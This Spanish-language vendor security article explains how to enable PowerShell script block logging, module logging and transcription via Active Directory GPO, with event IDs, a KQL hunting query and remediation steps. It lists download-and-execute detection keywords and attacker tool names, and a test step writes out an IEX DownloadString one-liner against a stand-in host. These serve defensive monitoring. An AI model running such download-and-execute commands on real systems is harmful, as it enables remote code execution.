Registro de bloques de script PowerShell Active Directory GPO: por qué es uno de tres ajustes, no uno solo
El registro de bloques de script PowerShell Active Directory GPO es, junto con el registro de módulos y la transcripción, uno de los controles de detección de mayor valor que la mayoría de los entornos Windows todavía dejan desactivados por defecto. El registro de bloques de script en sí es un ajuste controlado por directiva de grupo que escribe el texto completo de cada bloque de script de PowerShell ejecutado en una máquina —incluido el código ofuscado o generado dinámicamente— directamente en el registro de eventos de Windows. Juntos, los tres ajustes marcan la diferencia entre disponer de un registro forense de lo que se ejecutó en un host y tener solo un vacío donde antes hubo un incidente.
Esto importa más de lo que sugiere la severidad del catálogo. Buena parte del tradecraft moderno de post-explotación es fileless: se ejecuta enteramente en memoria a través de PowerShell, sin dejar ningún ejecutable en disco que el antivirus o el EDR puedan detectar mediante escaneo de archivos (Malwarebytes / ThreatDown sobre el cargador PowerShell-a-Cobalt-Strike de Black Basta). Sin estos tres ajustes de GPO, esa actividad es efectivamente invisible para su SIEM.
Cómo funcionan los tres ajustes
Los tres ajustes viven bajo la misma ruta de directiva de grupo —la misma clase de objeto cubierta en nuestra guía sobre las malas configuraciones de GPO como vector de ataque, ya que una GPO mal vinculada o sobrescrita aquí significa "activado" solo sobre el papel:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
| Ajuste | Nombre GPO | Clave de registro | Fuente de evento |
|---|---|---|---|
| Registro de bloques de script | Turn on Script Block Logging | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging (DWORD) | Event ID 4104 |
| Registro de módulos | Turn on Module Logging | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging (DWORD) + ModuleNames | Event ID 4103 |
| Transcripción | Turn on PowerShell Transcription | HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription → EnableTranscripting (DWORD) | Archivos de texto, no el registro de eventos |
Registro de bloques de script (Event ID 4104)
Una vez activado, cada bloque de script que PowerShell analiza —incluido uno codificado en Base64 o construido en tiempo de ejecución mediante concatenación de cadenas— se registra en Microsoft-Windows-PowerShell/Operational como el evento con ID 4104, con el contenido desofuscado incluido. Este es el más valioso de los tres ajustes, porque derrota la ofuscación simple: el script del atacante puede parecer ilegible en tránsito, pero PowerShell tiene que decodificarlo para ejecutarlo, y ese es precisamente el momento en que el registro de bloques de script captura el contenido (TrustedSec, "Building a Detection Foundation Part 3: PowerShell and Script Logging").
Existe una segunda capa opcional dentro de la misma directiva: Log script block invocation start/stop events, que además emite los ID de evento 4105 y 4106 por cada bloque que empieza y termina de ejecutarse. Es un nivel muy verboso, desactivado por defecto incluso cuando el propio registro de bloques de script está activado, y genera tanto volumen que la mayoría de los entornos lo dejan deliberadamente desactivado en todo el parque.
$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
Registro de módulos (Event ID 4103)
El registro de módulos registra los detalles de ejecución del pipeline para los módulos que especifique —invocaciones de cmdlets, parámetros y salida de objetos del pipeline— como el evento con ID 4103. Existe desde PowerShell 3.0 como la propiedad LogPipelineExecutionDetails de un módulo; la GPO es solo la forma de activarlo en todo el parque. Está desactivado por defecto para todos los módulos integrados (Microsoft Learn, about_Group_Policy_Settings). En el cuadro de diálogo Show… de la GPO se indican los nombres de los módulos a registrar; usar * cubre todos los módulos, que es lo que debería hacer la mayoría de los entornos —registrar solo una lista de módulos elegidos a mano crea un punto ciego en cuanto un atacante use cualquier otro.
Transcripción (sin ID de evento — archivos planos)
La transcripción es distinta por naturaleza: en lugar de escribir en el registro de eventos, escribe una transcripción en texto plano de cada entrada y salida de PowerShell en un archivo, de forma similar a ejecutar Start-Transcript automáticamente en cada sesión. Configure OutputDirectory hacia un recurso compartido UNC centralizado y con acceso restringido en lugar de dejarlo en el valor por defecto por usuario, y active Include invocation headers para que cada comando quede con marca de tiempo. Como las transcripciones son archivos en disco (o en un recurso compartido), son una fuente forense distinta del registro de eventos y sobreviven de forma independiente si un atacante borra los registros de eventos de Windows.
Por qué esto es un vacío de detección, no solo una casilla de cumplimiento
Frameworks como Empire y Cobalt Strike ejecutan sus stagers de PowerShell y módulos de post-explotación enteramente en memoria. El equipo de investigación de detección de Splunk construyó un analítico específico para este escenario exacto —detectar Empire mediante el registro de bloques de script PowerShell— precisamente porque, sin eventos 4104, la ejecución en memoria de Empire no deja nada más que cazar en el host. El registro de creación de procesos (ID de evento 4688) mostrará el lanzamiento de powershell.exe, pero la línea de comandos por sí sola suele estar truncada, codificada o envuelta en suficiente ofuscación como para que el qué —el código que realmente se ejecutó— solo sea recuperable a partir del contenido desofuscado del bloque de script que aporta el evento 4104 (Splunk, "Hunting for Malicious PowerShell using Script Block Logging").
Un ejemplo concreto: el análisis de ThreatDown sobre una intrusión de Black Basta encontró que el stager inicial de PowerShell apilaba varias rondas de codificación Base64, compresión y cifrado específicamente para vencer la inspección estática, antes de inyectar un beacon de Cobalt Strike directamente en memoria (ThreatDown, "How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon"). Nada de esa cadena toca el disco de una forma que las firmas de antivirus tradicionales detecten —el registro de bloques de script es lo que convierte de nuevo el blob codificado en PowerShell legible en su registro de eventos, después de que PowerShell ya haya hecho el trabajo de decodificación por usted.
Dicho de forma simple: con los tres ajustes desactivados, un atacante que ejecute un loader de PowerShell codificado y en memoria deja un evento de creación de procesos y nada más. Con ellos activados, el mismo ataque deja un bloque de script decodificado, el pipeline de módulo que tocó y una transcripción de texto de lo que hizo.
Detección
Para la visión general de qué ID de eventos de Windows realmente merecen un lugar en su SIEM, vea Supervisión Seguridad AD: Event IDs y SIEM. Para PowerShell en concreto:
| Indicador | Event ID | Fuente | Qué buscar |
|---|---|---|---|
| Contenido del bloque de script | 4104 | Microsoft-Windows-PowerShell/Operational | Texto de script desofuscado que contenga Invoke-Expression, DownloadString, -EncodedCommand, IEX, carga reflexiva de ensamblados |
| Inicio/fin de invocación de bloque de script | 4105 / 4106 | Microsoft-Windows-PowerShell/Operational | Solo presente si el registro de invocación está activado por separado; útil para correlacionar el momento exacto de ejecución |
| Ejecución del pipeline de módulo | 4103 | Microsoft-Windows-PowerShell/Operational | Cmdlet + parámetros de módulos fuera de la línea base normal de un host (ej. Invoke-Mimikatz, Invoke-WMIExec) |
| Creación de procesos | 4688 | Security | powershell.exe / pwsh.exe con -nop, -w hidden, -enc, o líneas de comandos inusualmente largas |
| Archivos de transcripción | n/a | Recurso compartido OutputDirectory configurado | Registros de sesión en texto plano correlacionados con la marca de tiempo de un evento 4104 sospechoso |
Una consulta de caza mínima contra una tabla de eventos de estilo Sentinel/KQL, usando el canal Microsoft-Windows-PowerShell/Operational:
Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
"Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
"FromBase64String", "Net.WebClient", "-nop", "-w hidden"
)
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc
Este es un punto de partida, no una detección terminada: ajuste la lista has_any a la herramienta de administración normal de su propio entorno, ya que los módulos RSAT, los agentes de backup y los agentes EDR aparecen todos con regularidad en la telemetría 4103 y ahogarán una regla ingenua en falsos positivos. Enrute el mismo canal hacia el producto de correlación que ya utilice —Sentinel, Splunk o un SIEM on-premises consumen todos Microsoft-Windows-PowerShell/Operational de la misma forma, así que el esfuerzo está en el ajuste, no en la fontanería.
⚠️ Advertencia: el 4104 por sí solo no mostrará el momento de inicio/fin, y la transcripción por sí sola no sobrevivirá a un atacante que desactive las claves de registro de logging en plena sesión con privilegios elevados. Trate los tres ajustes como capas complementarias, no como sustitutos entre sí.
Remediación
💡 Ganancia rápida: si solo activa uno de los tres, que sea el registro de bloques de script (4104) —tiene el mayor valor de detección por el menor volumen de logs, ya que captura contenido desofuscado en lugar de ruido bruto de pipeline.
- Active el registro de bloques de script. En una GPO vinculada a sus UO de estaciones de trabajo/servidores:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Script Block Logging→ Enabled. Deje la subopción de inicio/fin desactivada salvo que tenga presupuesto de SIEM para el volumen adicional. - Active el registro de módulos para todos los módulos. Misma ruta de GPO,
Turn on Module Logging→ Enabled → en Show…, añada*para que ningún módulo quede sin registrar. - Active la transcripción con un directorio de salida centralizado.
Turn on PowerShell Transcription→ Enabled, configureOutputDirectoryhacia un recurso compartido UNC de solo escritura (deniegue lectura/eliminación a usuarios estándar), y marque Include invocation headers. - Enrute
Microsoft-Windows-PowerShell/Operationalhacia su SIEM. Estos ajustes solo ayudan si los eventos salen del host —es la misma disciplina de política de auditoría cubierta en Brechas de configuración de la política de auditoría de Active Directory: asegúrese de que su configuración de reenvío de logs realmente se suscribe a este canal, no solo aSecurity. - Verifique con
gpresulty el registro, no solo con la consola de GPO —confirme en una muestra de servidores y estaciones miembro que la directiva realmente se aplicó (gpresult /h report.htmlo comprobando las claves de registro anteriores), ya que los errores de alcance de vinculación y precedencia de GPO son una causa habitual de que directivas "activadas" nunca lleguen al endpoint. - Pruebe el pipeline de extremo a extremo. En un host de pruebas aislado, ejecute un comando deliberadamente marcado pero inofensivo (por ejemplo
IEX (New-Object Net.WebClient).DownloadString('http://example.invalid')contra un dominio que no resuelve) y confirme que el evento 4104 correspondiente aparece tanto localmente como en su SIEM. Una GPO que "se aplica" pero cuyos eventos nunca llegan al SIEM equivale funcionalmente a no tener GPO. - Restrinja quién puede editar la GPO y quién tiene privilegios de administrador local. Los tres ajustes residen en el registro bajo
HKLM; un usuario con privilegios de administrador local puede desactivarlos, así que delimite deliberadamente la pertenencia al grupo de administradores locales como parte del mismo esfuerzo de hardening. Combine esto con credenciales de administrador local únicas y rotadas —vea Windows LAPS no implementado— y la lista de prioridades más amplia en Endurecimiento Active Directory: qué bloquear primero.
Cómo lo detecta EtcSec
La auditoría de Active Directory de EtcSec verifica el estado efectivo de los tres ajustes en todo su dominio mediante las entradas de catálogo PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF y PA038_PS_TRANSCRIPTION_OFF, además de la comprobación más amplia POWERSHELL_LOGGING_DISABLED, y marca los hosts o ámbitos de GPO donde la actividad de PowerShell se ejecutaría sin quedar registrada —el mismo problema de deriva de postura cubierto en Auditar la seguridad de Active Directory: qué revisar primero.
ℹ️ Nota: EtcSec comprueba automáticamente esta vulnerabilidad en cada auditoría de AD. Ejecute una auditoría gratuita para verificar que su entorno no está dejando actividad de PowerShell sin registrar.
Explore las páginas de identidad que apoyan este tema

